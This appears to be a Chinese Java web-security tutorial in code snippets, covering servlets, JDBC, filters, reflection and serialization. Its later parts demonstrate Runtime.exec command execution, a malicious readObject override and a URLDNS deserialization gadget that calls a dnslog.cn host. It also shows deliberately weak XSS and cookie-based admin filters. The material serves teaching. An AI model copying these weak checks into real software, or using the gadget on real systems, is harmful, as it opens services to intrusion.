1
2
3
4
5
6

::查看 8005 和 8080 端口的占用情况
netstat -ano | findstr "8005 8080"
::使用 tasklist 命令查看占用端口的进程名称
tasklist | findstr "PID"
::关闭占用端口的进程
taskkill /F /PID 'PID'

1
2
3
4
5
6
7

D:\JavaCode\Tomcat\apache-tomcat-9.0.105\conf\server.xml

<!-- 修改 Shutdown 端口（默认 8005） -->
<Server port="8006" shutdown="SHUTDOWN">

<!-- 修改 HTTP 端口（默认 8080） -->
<Connector port="8081" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" />

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

package com.example.demo01;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class IndexServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("--------doGET");
        //super.doGet(req, resp);
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <!-- 定义Servlet -->
    <servlet>
        <servlet-name>index</servlet-name>

        <!-- 指定Servlet类的完整路径 -->
        <servlet-class>com.example.demo1.IndexServlet</servlet-class>

    </servlet>

    <!-- 配置Servlet映射 -->
    <servlet-mapping>
        <servlet-name>index</servlet-name>

        <!-- 指定Servlet的URL映射 -->
        <url-pattern>/index</url-pattern>

    </servlet-mapping>

</web-app>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88

package com.example.demo1;

import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.ServletConfig;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

// 使用@WebServlet注解将Servlet映射到特定的URL
@WebServlet("/a")
public class IndexServlet extends HttpServlet {

    // 处理GET请求的方法
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("--------------doGet");

        // 从请求中获取参数"id"
        String id = req.getParameter("id");

        // 设置响应的内容类型
        resp.setContentType("text/html; charset=GBK");

        // 获取PrintWriter以将HTML响应发送给客户端
        PrintWriter out = resp.getWriter();

        // 输出从GET请求中收到的数据
        out.println("这是GET请求的数据:");
        out.println("id：" + id + "<br>");
        out.flush();
        out.close();
    }

    // 处理POST请求的方法
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        // 从请求中获取参数"name"
        String name = req.getParameter("name");

        // 设置响应的内容类型
        resp.setContentType("text/html; charset=GBK");

        // 获取PrintWriter以将HTML响应发送给客户端
        PrintWriter out = resp.getWriter();

        // 输出从POST请求中收到的数据
        out.println("这是post提交的数据");
        out.println(name);
        out.flush();
        out.close();

        System.out.println("--------------doPost");
    }

    // 当Servlet首次创建时调用的初始化方法
    @Override
    public void init(ServletConfig config) throws ServletException {
        System.out.println("--------------init");

        // 可以在这里添加任何初始化任务的代码
    }

    // 当Servlet被销毁时调用的方法
    @Override
    public void destroy() {
        System.out.println("--------------destroy");
        super.destroy();
    }

    // 处理GET和POST请求的服务方法
    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("--------------http service");
        super.service(req, resp);
    }

    // 覆盖的用于ServletRequest和ServletResponse的服务方法
    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
        System.out.println("--------------Servlet service");
        super.service(req, res);
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    // 从请求参数中获取名字数据
    String name = req.getParameter("name");
    
    // 设置请求编码为UTF-8，以确保正确解析中文字符
    req.setCharacterEncoding("UTF-8");
    
    // 设置响应内容类型为text/html
    resp.setContentType("text/html");
    
    // 获取PrintWriter对象，用于向客户端发送响应数据
    PrintWriter out = resp.getWriter();
    
    // 向客户端发送提示信息，表示这是通过POST提交的数据
    out.println("这是post提交的数据");
    
    // 向客户端发送从请求参数中获取的名字数据
    out.println(name);
    
    // 在服务器端打印名字数据到控制台
    System.out.println(name);
    
    // 刷新输出缓冲区，确保数据被及时发送到客户端
    out.flush();
    
    // 关闭PrintWriter，释放资源
    out.close();
    
    // 在服务器端打印信息，表示doPost方法执行完成
    System.out.println("--------------doPost");
}

1

Class.forName("com.mysql.jdbc.Driver");

1
2
3
4
5
6

// 定义数据库连接的URL，格式为：jdbc:mysql://host:port/database
String url = "jdbc:mysql://localhost:3306/dome01";
// 使用DriverManager获取数据库连接
Connection connection = DriverManager.getConnection(url, "root", "root");
// 打印数据库连接信息
System.out.println(connection);

1
2
3
4
5

// 创建Statement对象
Statement statement= connection.createStatement();
String sql="select * from news";
// 执行查询，获取结果集
ResultSet resultSet = statement.executeQuery(sql);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

// 遍历结果集
while (resultSet.next()) {
    // 从结果集中获取每一行的数据
    // 获取整型列 "id"
    int id = resultSet.getInt("id");
    // 获取字符串列 "page_title"
    String page_title = resultSet.getString("page_title");
    String heading = resultSet.getString("heading");
    String subheading = resultSet.getString("subheading");
    String content = resultSet.getString("content");
    String img = resultSet.getString("img");
    // 输出每一行的数据，以便查看结果
    System.out.println(id + "|" + page_title + "|" + heading + "|" + subheading + "|" + content + "|" + img);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

// 预编译写法:safesql 是一个预编译的 SQL 查询语句，其中 ? 是一个占位符，表示将在执行时动态替换。
String safesql = "SELECT * FROM news WHERE id=?";

// 使用PreparedStatement:PreparedStatement 是 Statement 的子接口，用于执行预编译的 SQL 语句。通过调用 connection.prepareStatement(safesql) 创建一个 PreparedStatement 对象。
try (PreparedStatement preparedStatement = connection.prepareStatement(safesql)) {
    
    // 设置参数，防止SQL注入攻击,使用 setXXX 方法设置占位符的值。在这里，使用 setInt(1, id) 将 id 的值设置到第一个占位符上。这种方式防止了 SQL 注入攻击，因为参数值是通过预编译的方式传递的，而不是通过直接拼接字符串。
    preparedStatement.setInt(1, id);

    // 执行查询,调用 executeQuery() 执行查询，得到 ResultSet 对象。
ResultSet resultSet = preparedStatement.executeQuery();

    // 处理结果集,根据业务需要，处理查询结果集的数据
    } catch (SQLException e) {
    e.printStackTrace();
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

//TestServlet

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    // 从请求中获取名为 "code" 的参数值
    String code = req.getParameter("code");

    // 获取用于将输出发送回客户端的 PrintWriter 对象
    PrintWriter out = resp.getWriter();

    // 将 "code" 参数的值打印到客户端
    out.println(code);

    // 刷新 PrintWriter，确保立即发送任何缓冲的内容
    out.flush();

    // 关闭 PrintWriter 以释放资源
    out.close();
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

//XssFilter

@WebFilter("/test")
public class XssFilter implements Filter {

    @Override
    // 中间件启动后就自动运行
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("xss开启过滤");
    }

    @Override
    // 中间件关闭后就自动运行
    public void destroy() {
        System.out.println("xss销毁过滤");
    }

    @Override
    // doFilter 访问路由触发的方法
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("xss正在过滤");

        // 过滤代码就应该在放行前
        // 如果符合就放行，不符合就过滤（拦截）

        // XSS过滤 接受参数值 如果有攻击payload 就进行拦截
        // 接受参数值 如果没有攻击payload 就进行放行
        HttpServletRequest request = (HttpServletRequest) servletRequest;
        String code = request.getParameter("code");

        if (!code.contains("<script>")) { // 没有攻击payload
            // 放行
            filterChain.doFilter(servletRequest, servletResponse);
        } else {
            System.out.println("存在XSS攻击");
            // 继续拦截
            // 这里可以根据需要添加拦截后的处理逻辑，例如记录日志、返回错误信息等
        }
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

@WebFilter("/test")
<filter>
<filter-name>xssFilter</filter-name>

<filter-class>com.example.filter.xssFilter</filter-class>

</filter>

<filter-mapping>
<filter-name>xssFilter</filter-name>

<url-pattern>/test</url-pattern>

</filter-mapping>

1
2
3
4
5
6
7

@WebServlet("/admin")
public class AdminServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("欢迎进入管理员页面");
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

@WebFilter("/admin")
public class AdminFileter implements Filter{
    @Override
    // 过滤器初始化方法，在应用启动时执行
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("admin身份检测开启");
    }

    @Override
    // 过滤器销毁方法，在应用关闭时执行
    public void destroy() {
        System.out.println("admin身份检测销毁");
    }

    @Override
    // 过滤器核心逻辑，处理请求和响应
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

        System.out.println("admin身份检测进行");

        // 检测Cookie过滤
        HttpServletRequest request = (HttpServletRequest) servletRequest;
        Cookie[] cookies = request.getCookies();

        // 对Cookie进行遍历获取
        for (Cookie c : cookies) {
            String cName = c.getName();    // 获取cookie名
            String cValue = c.getValue();  // 获取cookie值
            System.out.println(cName);
            System.out.println(cValue);

            filterChain.doFilter(servletRequest, servletResponse);
        }
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

@Override
    // 过滤器核心逻辑，处理请求和响应
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

        System.out.println("admin身份检测进行");

        // 检测Cookie过滤
        HttpServletRequest request = (HttpServletRequest) servletRequest;
        Cookie[] cookies = request.getCookies();

        // 对Cookie进行遍历获取
        for (Cookie c : cookies) {
            String cName = c.getName();    // 获取cookie名
            String cValue = c.getValue();  // 获取cookie值
            System.out.println(cName);
            System.out.println(cValue);

            // 检查是否包含名为 "user" 且值为 "admin" 的Cookie
            if (cName.contains("user") && cValue.contains("admin")) {
                // 是管理员，放行请求
                                    filterChain.doFilter(servletRequest, servletResponse);

            } else {
                System.out.println("非管理员访问");
                // 非管理员，可以根据需求添加相应的处理逻辑，例如重定向到登录页等
            }

        }
    }

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

@WebServlet("/ds")
public class DSession extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("Servlet里面销毁Session");

        // 销毁Session
        req.getSession().invalidate();
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

@WebServlet("/cs")
public class CSession extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("Servlet里面创建Session");

        // 创建Session
        req.getSession();
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

@WebListener
public class ListenSession implements HttpSessionListener {

    @Override
    public void sessionCreated(HttpSessionEvent se) {
        // 监听检测有Session创建就会执行这里
        System.out.println("监听器监听到了session创建");
    }

    @Override
    public void sessionDestroyed(HttpSessionEvent se) {
        // 监听检测有Session销毁就会执行这里
        System.out.println("监听器监听到了session销毁");
    }
}

1
2
3
4

@WebListener
<listener>
.......
</listener>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

//User.java

public class User {
    //成员变量
    public String name="xiaodi";
    public int age = 31;
    private String gender="man";
    protected String job="sec";

    //构造方法
    public User(){
        //System.out.println("无参数");
    }

    public User(String name){
        System.out.println("我的名字"+name);
    }

    private User(String name,int age){
        System.out.println(name);
        System.out.println(age);
    }

    //成员方法
    public void userinfo(String name,int age,String gender,String job){
        this.job=job;
        this.age=age;
        this.name = name;
        this.gender=gender;
    }

    protected void users(String name,String gender){
        this.name = name;
        this.gender=gender;
        System.out.println("users成员方法："+name);
        System.out.println("users成员方法："+gender);
    }

}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

//GetClass.java

package com.example.reflectdemo1;

public class GetClass {
    public static void main(String[] args) throws ClassNotFoundException {
        //1、根据全限定类名：Class.forName(“全路径类名”)
        Class aClass = Class.forName("com.example.reflectdemo1.User");
        System.out.println(aClass);

        //2、根据类名：类名.class
        Class userClass = User.class;
        System.out.println(userClass);

        //3、根据对象：对象.getClass()
        User user = new User();
        Class aClass1 = user.getClass();
        System.out.println(aClass1);

        //4、通过类加载器获得Class对象：
        //ClassLoader.getSystemClassLoader().loadClass("全路径类名");
        ClassLoader clsload=ClassLoader.getSystemClassLoader();
        Class aClass2 = clsload.loadClass("com.example.reflectdemo1.User");
        System.out.println(aClass2);
    }

}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

//GetFiled.java

package com.example.reflectdemo1;

import java.lang.reflect.Field;

public class GetFiled {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Class aClass = Class.forName("com.example.reflectdemo1.User");

        //1.获取公共的成员变量
        Field[] fields = aClass.getFields();    	
        for(Field fd:fields){
            System.out.println(fd);
        }

        //2.获取所有的成员变量
        Field[] fields = aClass.getDeclaredFields();
        for(Field fd:fields){
            System.out.println(fd);
        }

        //3.获取单个的公共成员变量
        Field name = aClass.getField("name");
        System.out.println(name);

        //4.获取单个的成员变量
        Field gender = aClass.getDeclaredField("gender");
        System.out.println(gender);

        //5.获取公共的成员变量age的值
        User u = new User();
        Field field=aClass.getField("age");
        //取值
        Object a=field.get(u);
        System.out.println(a);
        //赋值
        field.set(u,32);
        Object aa=field.get(u);
        System.out.println(aa);
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

//GetConstructor.java

package com.example.reflectdemo1;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;

public class GetConstructor {
    public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException {
        Class aClass = Class.forName("com.example.reflectdemo1.User");

        //1.获取公共的构造方法
        Constructor[] constructors = aClass.getConstructors();
        for(Constructor c:constructors){
            System.out.println(c);
        }

        //2.获取所有的构造方法
        Constructor[] constructors = aClass.getDeclaredConstructors();
        for(Constructor c:constructors){
            System.out.println(c);
        }

        //3.获取单个的公共构造方法
        Constructor constructor = aClass.getConstructor(String.class);
        System.out.println(constructor);

        //4.获取单个的构造方法
        Constructor con3 = aClass.getDeclaredConstructor(String.class, int.class);
        System.out.println(con3);

        //获取类中声明的具有两个参数（String和int）的构造方法
        Constructor con4 = aClass.getDeclaredConstructor(String.class, int.class);
        //临时开启对私有构造方法的访问权限
        con4.setAccessible(true);
        //使用构造方法创建对象，传递参数 "xiaodigaygay" 和 40
        User uu = (User) con4.newInstance("xiaodisec", 40);
        System.out.println(uu);
        //获取类中声明的具有一个参数（String）的构造方法
        Constructor con2 = aClass.getConstructor(String.class);
        //使用构造方法创建对象，传递参数 "xiaodisec"
        con2.newInstance("xiaodisec");
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

//GetMethod.java

package com.example.reflectdemo1;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class GetMethod {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Class aClass = Class.forName("com.example.reflectdemo1.User");

        //1.获取包括继承的公共成员方法
        Method[] methods = aClass.getMethods();
        for (Method me : methods) {
            System.out.println(me);
        }

        //2.获取不包括继承的所有成员方法
        Method[] methods1 = aClass.getDeclaredMethods();
        for(Method me:methods1){
            System.out.println(me);
        }

        //3.获取单个的成员方法
        Method users = aClass.getDeclaredMethod("users", String.class,String.class);
        System.out.println(users);

        //4.对成员方法进行执行
        // 创建 User 对象
        User u = new User();
        // 获取名为 "users" 的方法，该方法接受两个参数（String 和 String）
        Method users1 = aClass.getDeclaredMethod("users", String.class, String.class);
        // 使用反射调用 User 对象的 users 方法，传递参数 "xiaodigay" 和 "gay1"
        users1.invoke(u, "xiaodigay", "gay1");

    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

//GetRunExec.java

package com.example.reflectdemo1;

import jdk.jfr.consumer.RecordedFrame;

import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class GetRunExec {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
        //原生调用
        Runtime.getRuntime().exec("calc");

        //第三方jar

        // 使用 Class.forName 获取 java.lang.Runtime 类
        Class aClass = Class.forName("java.lang.Runtime");
        // 获取 Runtime 类的所有公共方法
        Method[] methods = aClass.getMethods();
        // 遍历所有方法并打印输出方法信息
        for (Method me : methods) {
            System.out.println(me);
        }

        
        //获取单个Runtime
        Method getRuntime = aClass.getMethod("getRuntime");
        System.out.println(getRuntime);


        // 获取名为 "exec" 的方法，该方法接受一个 String 参数
        Method exec = aClass.getMethod("exec", String.class);
        // 获取名为 "getRuntime" 的方法，该方法不接受参数
        Method getRuntimeMethod = aClass.getMethod("getRuntime");
        // 使用反射调用 aClass 对象的 getRuntime 方法，获取 Runtime 对象
        Object runtime = getRuntimeMethod.invoke(aClass);
        // 使用反射调用 Runtime 对象的 exec 方法，执行系统命令 "calc.exe"
        exec.invoke(runtime, "calc.exe");
        
        
        // 使用 Class.forName 获取 Runtime 类
        Class c1 = Class.forName("java.lang.Runtime");
        // 获取 Runtime 类的默认构造方法
        Constructor m = c1.getDeclaredConstructor();
        // 设置构造方法为可访问
        m.setAccessible(true);
        // 使用反射调用 Runtime 类的 exec 方法，执行系统命令 "calc"
        c1.getMethod("exec", String.class).invoke(m.newInstance(), "calc");
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

//UserDemo.java

package com.example.seriatestdemo;

import java.io.Serializable;

public class UserDemo implements Serializable {
    private static final long serialVersionUID = 5306964442453291483L; // 显式定义 serialVersionUID

    public String name = "xiaodi";
    public String gender = "man";
    public Integer age = 18;

    public UserDemo(String name, String gender, Integer age) {
        this.name = name;
        this.gender = gender;
        System.out.println("UserDemo_" + name);
        System.out.println("UserDemo_" + gender);
        System.out.println("UserDemo_" + age);
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", gender='" + gender + '\'' +
                ", age=" + age +
                '}';
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

//SerializableDemo.java

package com.example.seriatestdemo;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializableDemo {
    public static void main(String[] args) throws IOException {
        //创建一个对象，引用UserDemo
        UserDemo u = new UserDemo("xiaodisec", "man1", 118);
        //System.out.println(u);
        //调用方法
        SerializableTest(u);
        }

    public static void SerializableTest(Object obj) throws IOException {
        //FileOutputStream()输出文件
        //将对象obj序列化后输出到文件ser.txt
        //ser.txt 就是对象 u 序列化的数据
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        oos.writeObject(obj);
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

//UnserializableDemo.java

package com.example.seriatestdemo;

import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;

public class UnserializableDemo {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //调用下面方法，传输ser.txt 解析还原反序列化
        Object obj =unserializableTest("ser.txt");
        System.out.println(obj);
    }

    public static Object unserializableTest(String filename) throws IOException, ClassNotFoundException {
        //读取Filename文件进行反序列化还原
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        return ois.readObject();
    }
}

1
2
3
4

public final Object readObject()
        throws IOException, ClassNotFoundException {
        return readObject(Object.class);
    }

1
2
3
4
5
6
7
8

反序列化链

此处在 UserDemo.java 重写readObject方法，执行了计算机
private void readObject(ObjectInputStream ois) throws IOException {
        // 指向正确defaultReadObject
        // ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

package com.example.seriatestdemo;

import java.io.*;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class UrlDns implements Serializable {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        HashMap<URL, Integer> hash = new HashMap<>();
        URL u = new URL("http://pz22ed.dnslog.cn");
        hash.put(u, 1);

        SerializableTest(hash);
        unserializableTest("dns.txt");
    }

    // 序列化
    public static void SerializableTest(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("dns.txt"));
        oos.writeObject(obj);
    }

    // 反序列化
    public static Object unserializableTest(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}